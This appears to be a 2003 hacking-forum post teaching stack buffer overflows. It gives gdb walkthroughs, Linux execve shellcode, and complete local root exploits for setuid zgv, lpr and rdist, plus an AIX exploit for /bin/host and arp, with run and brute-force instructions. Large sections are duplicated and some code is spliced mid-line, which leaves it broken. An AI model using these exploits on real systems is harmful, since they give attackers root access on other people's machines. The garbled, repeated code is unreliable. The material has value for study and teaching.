Buffer Overflows

Information about exploits, how to use them, how to test for them, and new exploits.

Moderator: 127.0.0.1

Buffer Overflows

Postby kostyanj » Wed Mar 26, 2003 8:22 pm

by nebunu

o Credits: Credits to G. Guninsky and Mixter.I picked some Linux examples from them.

o Disclaimer: English is not my native language,if you dont understand any of this,I'm deeply sorry. Keep flames for root-at-localhost,if you dont like this file dont keep it.

o Getting Started : What's a buffer overflow anyway? Let's see the following example:

#include <stdio.h>
main(){
char s[3];
scanf("%s",&s);
printf("%s",s);
}

If you execute this little program,you are prompted to introduce a string. If you introduce less then 3 characters,the string will be displayed and the program ends,otherwise if the string is more then 3 characters the program ends with an error message like 'core dumped'. Why? Because the string is bigger than the memory space allocated(char s[3]). This is the basic idea about buffer overflow. Now it's time to learn a few asm tricks :) Before a program starts the kernel allocates memory space for it. The memory space allocated for a process is splitted in 3:

code segment - asm instructions which are to be executed by the processor
data segment - data is kept here
stack segment - space allocated for variables(like char s[3] in our example)


A procedure or a function is a piece of code from the program,which once called,performs a task the programmer wanted and then returns to the previous point(thread of execution). Let's have a closer look,shall we?

0x8054321 pushl $0x0
0x8054322 call $0x80543a0
0x8054327 ret
0x8054328 leave
......

0x80543a0 popl %eax
0x80543a1 addl $0x1337,%eax
0x80543a4 ret


The 0 variable is pushed into the stack (pushl $0x0),a function is called from the specified memory adress and executed (call $0x80543a0),then returns (ret).After that we see how function is handled.The function gets its variables from the stack (popl %eax) and returns (ret). We dont see here the fact that function main() pushes register EBP on the stack each time a function is called.EBP is restored after each execution.The return adress from function is 0x8054327. The restored EBP register is 32 bits=4 bytes. Now let's exploit a small program.I was too lazy to dissasamble one for myself,so i picked an example from the Net.

void lame () {
char small[30];
gets (small);
printf("%s\n", small);
}

int main() {
lame ();
}

Compile it:

#cc -ggdb test.c -o test
and then dissassamble it:

#gdb test
0x80484c8 <main>: pushl %ebp -push variables into the stack
0x80484c9 <main+1>: movl %esp,%ebp -saves them in ESP
0x80484cb <main+3>: call 0x80484a0 -calles function lame()
0x80484d0 <main+8>: leave -dont forget this
0x80484d1 <main+9>: ret -return adress
0x80484a0 <lame> pushl %ebp -variables of function lame()
0x80484a1 <lame+1>: movl %esp,%ebp -saves them in ESP
0x80484a3 <lame+3>: subl $0x20,%esp -the stack is enlarged(x20=32)
0x80484a6 <lame+6>: leal 0xffffffe0(%ebp),%eax
0x80484a9 <lame+9>: pushl %eax
0x80484aa <lame+10>: call 0x80483ec -calles gets()
0x80484af <lame+15>: addl $0x4,%esp
0x80484b2 <lame+18>: leal 0xffffffe0(%ebp),%eax
0x80484b5 <lame+21>: pushl %eax
0x80484b6 <lame+22>: pushl $0x804852c
0x80484bb <lame+27>: call 0x80483dc -calls printf()
0x80484c0 <lame+32>: addl $0x8,%esp -return address, 0x80484d0
0x80484c3 <lame+35>: leave
0x80484c4 <lame+36>: ret
[0x80484d0 <main+8>: leave]

Now lets run the program normally,let's see how it behaves:
#test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -30 charactrs,my input
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -prints the input on the screen

Now let's overflow the stack and type 34 characters:
#test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -34 charactrs,my input

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

The 'legal' memory size has been filled,let's see what happened:

# gdb test core

(gdb) info registers
eax: 0x24
ecx: 0x804852f
edx: 0x1
ebx: 0x11a3c8
esp: 0xbffffdb8
ebp: 0x616161

61 is hex representation for 'a'.So i overflowed the stack with 4 a's and the return adress is now 0x616161 ,which caused an error.The originally return adress was 0x80484cb.Remember that EBP is 4 bytes.Let's exploit the program to return to lame().

main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}

# (ret;cat)|./blah

The program must go trough the function 2 times because instead to return to 0x80484d0 after the function lame() finishes its execution it returns to itself,0x80484cb.You see how you can make a program to point to any memory point if you know the exact adress.

Now the exploit:
A shellcode is a sequence of assembler commands, written on the stack. Then the return adress is changed to return to the stack. The shellcode is executed right on the stack.This is the standard shellcode for linux, it is posted all over the net.

global code_start
global code_end
.data
code_start:
jmp 0x17
popl %esi
movl %esi,0x8(%esi)

xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
my_execve:
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
xorl %edx,%edx
int $0x80
call -0x1c
.string "/bin/shX"
code_end:

This code can be easily converted into a hex buffer using bin2c.pl or other tool taken from a kiddie script site :).The hex buffer is:

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

Looks familiar to me,because it can be seen in all linux overflow based exploits :) Now lets choose a program whick has 's' set and exploit it:


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main()
{
char buffer[1032];
long retaddr = 0xbffff574; /*return adress*/
int i;
fprintf(stderr,"using address 0x%lx\n",retaddr);
for (i=0;i<1032;i+=4)
*(long *)&buffer[i] = retaddr; /*fills the buffer
with return adress*/
for (i=0;i<(1032-strlen(shellcode)-100);i++)
/*fills the buffer with NOPS*/
*(buffer+i) = 0x90;
memcpy(buffer+i,shellcode,strlen(shellcode));
/*shellcode is copyied after the end of NOPS*/
setenv("HOME", buffer, 1) /*sets the HOME variable*/
execlp("zgv","zgv",NULL); /*execute*/
return 0;
}
-----------------------------------------------------------------------------------

This is an example I picked from the net concerning zgv but it works for most programs with 's' set.Sometimes you dont know the exact start of shellcode in memory,so it must be bruteforced.Now,I'm sure a newbie would like to ask alot of questions,like:

QUESTION: How did you find out the return adress as 0xbffff574 ?

ANSWER: I set home variable like this:
# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
and then I dissasambled /usr/bin/zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
esp: 0xbffff574 -1073744524
So,0xbffff574 is the return adress.
I took this example from Mixter tutorial and I tried it on my RedHat distribution.

QUESTION: Did you fill the buffer size with NOPS and then with return adress? I dont understand anything!!!

ANSWER: Big mistake,dude! There is a huge difference between THE ADRESS and the THE CONTENT. This is the way you must interpret the code:

for (i=0;i<1032;i+=4) *(long *)&buffer[i] = retaddr;
for (i=0;i<(1032-strlen(shellcode)-100);i++) *(buffer+i) = 0x90;

For i=0 to i=1032-strlen(shellcode)-99 ,THE ADRESS is &buffer[i]=0xbffff574 and THE CONTENT is
NOP.

QUESTION: Why the buffer must be filled with NOPs?

ANSWER: The function will return before our shellcode,then cpu will interpret NOPs and then
it meets JMP command,CALL command,it will jump back to popl in order to puts the variables in the
stack and then and run code on the stack.


As I said before,this program written by Mixter for /usr/bin/zgv can easily be modified to work
with other programs with setuid set.You have to know buffer size,return adress and start of the
shellcode in memory.If you are too lazy to dissassemble the program in order to find out buffer
size from %esp and to calculate exact start of the shellcode,write a script that brute forces
them.After this explanation you'll understand perfectly the next example,I hope :)

-----------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50 /* offset */
#define BUFFER_SIZE 1023 /* buffer size */

long get_esp(void)
{
__asm__("movl %esp,%eax\n"); /* I'll explain it later */
}

void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;

buff = malloc(4096); /* memory is allocated for the buffer */
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff; /* puts 4096 bytes in ptr */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* fills the buffer with NOPS */
ptr += BUFFER_SIZE-strlen(execshell); /* space left in buffer for shellcode */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i]; /* fills the space left with shellcode */
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET; /* gets the start adress for the shellcode */
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-P", buff, NULL); /* exec the program */
}


-----------------------------------------------------------------------------------
For a better understanding of this we must return to our first program.

pushl %ebp
movl %esp,%ebp
subl $0x20,%esp
leal 0xffffffe0(%ebp),%eax
pushl %eax
call

So,first time EBP is pushed into the stack,then the content of EBP is copyed into ESP,0x20=32
bytes are added to ESP to enlarge the stack,then everything is copyed into EAX and pushed into
the stack.In our program we see a function:

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

Then we see a sequence:

*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;

I'm sure you already figure it out that this is the return adress for our shellcode.It's easy.
The default offset is 50 but as i said before sometimes it have to be bruteforced.
Here is an example:

-----------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 256

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;



char execshell[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";

int i;
int ofs = DEFAULT_OFFSET;


if(argc == 2)
ofs = atoi(argv[1]);
/* print the offset given as argument */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;e)-100);i++)
/*fills the buffer with NOPS*/
*(buffer+i) = 0x90;
memcpy(buffer+i,shellcode,strlen(shellcode));
/*shellcode is copyied after the end of NOPS*/
setenv("HOME", buffer, 1) /*sets the HOME variable*/
execlp("zgv","zgv",NULL); /*execute*/
return 0;
}
-----------------------------------------------------------------------------------

This is an example I picked from the net concerning zgv but it works for most programs with 's' set.Sometimes you dont know the exact start of shellcode in memory,so it must be bruteforced.Now,I'm sure a newbie would like to ask alot of questions,like:

QUESTION: How did you find out the return adress as 0xbffff574 ?

ANSWER: I set home variable like this:
# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
and then I dissasambled /usr/bin/zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
esp: 0xbffff574 -1073744524
So,0xbffff574 is the return adress.
I took this example from Mixter tutorial and I tried it on my RedHat distribution.

QUESTION: Did you fill the buffer size with NOPS and then with return adress? I dont understand anything!!!

ANSWER: Big mistake,dude! There is a huge difference between THE ADRESS and the THE CONTENT. This is the way you must interpret the code:

for (i=0;i<1032;i+=4) *(long *)&buffer[i] = retaddr;
for (i=0;i<(1032-strlen(shellcode)-100);i++) *(buffer+i) = 0x90;

For i=0 to i=1032-strlen(shellcode)-99 ,THE ADRESS is &buffer[i]=0xbffff574 and THE CONTENT is
NOP.

QUESTION: Why the buffer must be filled with NOPs?

ANSWER: The function will return before our shellcode,then cpu will interpret NOPs and then
it meets JMP command,CALL command,it will jump back to popl in order to puts the variables in the
stack and then and run code on the stack.


As I said before,this program written by Mixter for /usr/bin/zgv can easily be modified to work
with other programs with setuid set.You have to know buffer size,return adress and start of the
shellcode in memory.If you are too lazy to dissassemble the program in order to find out buffer
size from %esp and to calculate exact start of the shellcode,write a script that brute forces
them.After this explanation you'll understand perfectly the next example,I hope :)

-----------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50 /* offset */
#define BUFFER_SIZE 1023 /* buffer size */

long get_esp(void)
{
__asm__("movl %esp,%eax\n"); /* I'll explain it later */
}

void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;

buff = malloc(4096); /* memory is allocated for the buffer */
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff; /* puts 4096 bytes in ptr */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* fills the buffer with NOPS */
ptr += BUFFER_SIZE-strlen(execshell); /* space left in buffer for shellcode */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i]; /* fills the space left with shellcode */
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET; /* gets the start adress for the shellcode */
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-P", buff, NULL); /* exec the program */
}


-----------------------------------------------------------------------------------
For a better understanding of this we must return to our first program.

pushl %ebp
movl %esp,%ebp
subl $0x20,%esp
leal 0xffffffe0(%ebp),%eax
pushl %eax
call

So,first time EBP is pushed into the stack,then the content of EBP is copyed into ESP,0x20=32
bytes are added to ESP to enlarge the stack,then everything is copyed into EAX and pushed into
the stack.In our program we see a function:

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

Then we see a sequence:

*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;

I'm sure you already figure it out that this is the return adress for our shellcode.It's easy.
The default offset is 50 but as i said before sometimes it have to be bruteforced.
Here is an example:

-----------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 256

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;



char execshell[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";

int i;
int ofs = DEFAULT_OFFSET;


if(argc == 2)
ofs = atoi(argv[1]);
/* print the offset given as argument */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}

-----------------------------------------------------------------------------------



Now,let's see an example concerning AIX 3.2 and 4.1/4.2 written by Georgi Guninsky:

-----------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char prog[100]="/bin/host";
char prog2[30]="host";
void buggy(char *s){
char a[4];
unsigned int junk[150];
gethostbyname();}
void sh2(){
int junk[0x100];
int s[2];
int toc;
int ctr;
junk[0x100]=0x11;
toc=0xf0192c48;
ctr=0xd0024c0c;
s[0]=0x2f62696e;
s[1]=0x2f736800;
execv(&s,0);
}
main(int argc,char **argv){
unsigned int junk[300];
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0};

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int i,nop,mn;
int max;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
int carry1=0;
int carry2=0;
char *t;
pt=(unsigned *) &
toc=*(pt+1);
eco=*pt;
if (argc>1) max=atoi(argv[1]);
if(max==0) max=78;
mn=40;
if(argc>2) mn=atoi(argv[2]);
if(argc>3) { strncpy(prog,argv[3],100);
t=strrchr(prog,'/');
if(t) strncpy(prog2,++t,30); }
if(argc>4) strncpy(prog2,argv[4],30);
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) {
puts("Bad parameters");exit(1);}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff);
#ifndef QUIET
puts("Test AIX!");
puts("Discovered and coded by Georgi G.");
printf("TOC:%0x,CTR:%0x\n",toc,eco);
printf("\n%p",&buf[nop]);
#endif
junk[50]=1;
for(nop=0;nop buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
while(i++<max){
buf[i]=(unsigned) &buf[nop];}
buf[i]=0;
for(i=0;i<nop;i++)
buf[i]=(unsigned)&buf[nop];
for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
if (argc<=7) {
#ifndef QUIET
puts("Start...");
#endif
i=execl(prog,prog2,(char*)&buf,0);}
else {
puts((char*)&buf);
fflush(stdout);
gethostbyname( (char*)&buf); }
printf("Error executing execl\n");
}
-----------------------------------------------------------------------------------

This one is customizable,it works by default with /usr/sbin/arp and /bin/host but it can be
set to work with any program under AIX .Name the program test.c,compile it with:

cc -g test.c
and run it
./a.out 560 500 /usr/sbin/arp
./a.out 78 40 /bin/host

If it does not work, you should run a shell script which brute forces the length (<=580) and offset (


REMOTE BUFFER OVERFLOW
~~~~~~~~~~~~~~~~~~~~~~
Works on the same principle like local overflow.Many daemons are vulnerable to this kind of
attack.Ftp,smpt,pop3d,httpd,logind and probably many others are vulnerable.The only difference is
that we must insert the code remotely trough the port they listens to.After we got a local
account we can login using ssh or telnet and try local overflow in order to get root :))
Httpd(or other daemon) executes itself each time it receives a request,like
GET/ \r\nHTTP 1.0 \r\n\r\n.So,the parameter is passwed remotely trough a port.
First we establish a connection with the host on a specified port(usually 80 for httpd) then we
send the shellcode,[ send(s,shellcode,strlen(shellcode),0); ] where s is socket declared as
SOCKET s; .




BUFFER OVERFLOW IN WINDOWS PROGRAMS-INTRODUCTION
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets examine a program similar to the one I used for Linux example:
--------------------------------------------------------------------------
#include
main() {
char ss[5];
printf("type a string:");scanf("%s",&ss);
}
--------------------------------------------------------------------------
I named it test.c,I compiled it and then I executed it:
c:/>test
type a string:aaaaaaaaaaaaaaaaaaaaaaaa

Now,I receive an error message and I click on <> button:

PROJECT 1 caused an invalid page fault in
module <unknown> at 0000:61616161.
Registers:
EAX=00000001 CS=015f EIP=61616161 EFLGS=00010202
EBX=00530000 SS=0167 ESP=0253fdf0 EBP=61616161
ECX=0253fdf9 DS=0167 ESI=8155ce90 FS=21cf
EDX=00000004 ES=0167 EDI=00000000 GS=0000
Bytes at CS:EIP:

So, 61 is the hex representation for 'a'.We see that EBP register contains the string variable
61616161=aaaa and the program stopped at 0000:61616161 because of my overflow.In order to see
better the similitudes with the first program,I dissassemble it,using:
c:/>cc1 test.c

-------------------------------------------------------------------------
.file "test.c"
gcc2_compiled.:
___gnu_compiled_c:
.def ___main; .scl 2; .type 32; .endef
.text
LC0:
.ascii "type a string:\0"
LC1:
.ascii "%s\0"
.align 4
.globl _main
.def _main; .scl 2; .type 32; .endef
_main:
pushl %ebp -pushes the EBP into stack
movl %esp,%ebp -saves it
subl $24,%esp -enlarge stack
call ___main -calls main() function
addl $-12,%esp
pushl $LC0 -string "type a string"
call _printf -prints it
addl $16,%esp
addl $-8,%esp
leal -16(%ebp),%ei < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}

-----------------------------------------------------------------------------------



Now,let's see an example concerning AIX 3.2 and 4.1/4.2 written by Georgi Guninsky:

-----------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char prog[100]="/bin/host";
char prog2[30]="host";
void buggy(char *s){
char a[4];
unsigned int junk[150];
gethostbyname();}
void sh2(){
int junk[0x100];
int s[2];
int toc;
int ctr;
junk[0x100]=0x11;
toc=0xf0192c48;
ctr=0xd0024c0c;
s[0]=0x2f62696e;
s[1]=0x2f736800;
execv(&s,0);
}
main(int argc,char **argv){
unsigned int junk[300];
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0};

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int i,nop,mn;
int max;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
int carry1=0;
int carry2=0;
char *t;
pt=(unsigned *) &
toc=*(pt+1);
eco=*pt;
if (argc>1) max=atoi(argv[1]);
if(max==0) max=78;
mn=40;
if(argc>2) mn=atoi(argv[2]);
if(argc>3) { strncpy(prog,argv[3],100);
t=strrchr(prog,'/');
if(t) strncpy(prog2,++t,30); }
if(argc>4) strncpy(prog2,argv[4],30);
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) {
puts("Bad parameters");exit(1);}
#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff);
#ifndef QUIET
puts("Test AIX!");
puts("Discovered and coded by Georgi G.");
printf("TOC:%0x,CTR:%0x\n",toc,eco);
printf("\n%p",&buf[nop]);
#endif
junk[50]=1;
for(nop=0;nop buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;
while(i++<max){
buf[i]=(unsigned) &buf[nop];}
buf[i]=0;
for(i=0;i<nop;i++)
buf[i]=(unsigned)&buf[nop];
for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
if (argc<=7) {
#ifndef QUIET
puts("Start...");
#endif
i=execl(prog,prog2,(char*)&buf,0);}
else {
puts((char*)&buf);
fflush(stdout);
gethostbyname( (char*)&buf); }
printf("Error executing execl\n");
}
-----------------------------------------------------------------------------------

This one is customizable,it works by default with /usr/sbin/arp and /bin/host but it can be
set to work with any program under AIX .Name the program test.c,compile it with:

cc -g test.c
and run it
./a.out 560 500 /usr/sbin/arp
./a.out 78 40 /bin/host

If it does not work, you should run a shell script which brute forces the length (<=580) and offset (


REMOTE BUFFER OVERFLOW
~~~~~~~~~~~~~~~~~~~~~~
Works on the same principle like local overflow.Many daemons are vulnerable to this kind of
attack.Ftp,smpt,pop3d,httpd,logind and probably many others are vulnerable.The only difference is
that we must insert the code remotely trough the port they listens to.After we got a local
account we can login using ssh or telnet and try local overflow in order to get root :))
Httpd(or other daemon) executes itself each time it receives a request,like
GET/ \r\nHTTP 1.0 \r\n\r\n.So,the parameter is passwed remotely trough a port.
First we establish a connection with the host on a specified port(usually 80 for httpd) then we
send the shellcode,[ send(s,shellcode,strlen(shellcode),0); ] where s is socket declared as
SOCKET s; .




BUFFER OVERFLOW IN WINDOWS PROGRAMS-INTRODUCTION
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets examine a program similar to the one I used for Linux example:
--------------------------------------------------------------------------
#include
main() {
char ss[5];
printf("type a string:");scanf("%s",&ss);
}
--------------------------------------------------------------------------
I named it test.c,I compiled it and then I executed it:
c:/>test
type a string:aaaaaaaaaaaaaaaaaaaaaaaa

Now,I receive an error message and I click on <> button:

PROJECT 1 caused an invalid page fault in
module <unknown> at 0000:61616161.
Registers:
EAX=00000001 CS=015f EIP=61616161 EFLGS=00010202
EBX=00530000 SS=0167 ESP=0253fdf0 EBP=61616161
ECX=0253fdf9 DS=0167 ESI=8155ce90 FS=21cf
EDX=00000004 ES=0167 EDI=00000000 GS=0000
Bytes at CS:EIP:

So, 61 is the hex representation for 'a'.We see that EBP register contains the string variable
61616161=aaaa and the program stopped at 0000:61616161 because of my overflow.In order to see
better the similitudes with the first program,I dissassemble it,using:
c:/>cc1 test.c

-------------------------------------------------------------------------
.file "test.c"
gcc2_compiled.:
___gnu_compiled_c:
.def ___main; .scl 2; .type 32; .endef
.text
LC0:
.ascii "type a string:\0"
LC1:
.ascii "%s\0"
.align 4
.globl _main
.def _main; .scl 2; .type 32; .endef
_main:
pushl %ebp -pushes the EBP into stack
movl %esp,%ebp -saves it
subl $24,%esp -enlarge stack
call ___main -calls main() function
addl $-12,%esp
pushl $LC0 -string "type a string"
call _printf -prints it
addl $16,%esp
addl $-8,%esp
leal -16(%ebp),%eax
pushl %eax
pushl $LC1 -the variable is declared as "string"
call _scanf -reads it
addl $16,%esp -convert it
L2:
leave
ret -that's all dude :)
.def _scanf; .scl 2; .type 32; .endef
.def _printf; .scl 2; .type 32; .endef

--------------------------------------------------------------------------
The variables are pushed into the stack (pushl %ebp),then the stack is enlarged (subl $24,%esp)
function main() is called ( call ___main),then variables("type a string:\0") from function
printf() are pushed into the stack (pushl $LC0),the same thing happents with scanf() function and
finally a RET follows (L2).But something is missing here.The return adress.Well,in order to
find it out we must dissassemble the program using W32Dasm,Softice or Hiev.After that,
everything is the same.I gave this example to show that any program can be exploited,no matter
what platform it is run under.

Another example,just to get use to this asm instructions:
--------------------------------------------------------------------------
#include
void pr1(){
printf("first proc");
}
void pr2(){
printf("second proc");
}
main(){
int i;
printf("Enter a number:");scanf("%i",&i);
if(i==1) pr1();
else pr2();}

--------------------------------------------------------------------------
Now asm version:


--------------------------------------------------------------------------
.file "test.c"
gcc2_compiled.:
___gnu_compiled_c:
.text
LC0:
.ascii "first proc\0"
.align 4
.globl _pr1
.def _pr1; .scl 2; .type 32; .endef
_pr1: -procedure pr1()
pushl %ebp -variables into the stack
movl %esp,%ebp -save them in ESP
subl $8,%esp -enlarge the stack
addl $-12,%esp -loads the adress for "%s"
pushl $LC0 -push the variable for printf()
call _printf -calls printf()
addl $16,%esp
L2:
leave
ret -return adress
LC1:
.ascii "second proc\0"
.align 4
.globl _pr2
.def _pr2; .scl 2; .type 32; .endef
_pr2: -same thing as before
pushl %ebp
movl %esp,%ebp
subl $8,%esp
addl $-12,%esp
pushl $LC1
call _printf
addl $16,%esp
L3:
leave
ret
.def ___main; .scl 2; .type 32; .endef
LC2:
.ascii "Enter a number:\0"
LC3:
.ascii "%i\0"
.align 4
.globl _main
.def _main; .scl 2; .type 32; .endef
_main: -the main() function
pushl %ebp -the stack
movl %esp,%ebp -the stack
subl $24,%esp -enlarge it
call ___main -calls main()
addl $-12,%esp
pushl $LC2 -string "enter a number"
call _printf -prints it to display
addl $16,%esp
addl $-8,%esp
leal -4(%ebp),%eax
pushl %eax
pushl $LC3 -the variable is declared as int
call _scanf -reads it in EBP
addl $16,%esp
cmpl $1,-4(%ebp) -compares it to "1"
jne L5 -if not equal
call _pr1 -call pr1()
jmp L6 -else
.p2align 4,,7
L5:
call _pr2 call pr2()
L6:
L4:
leave
ret -return from pr2() or from pr1()
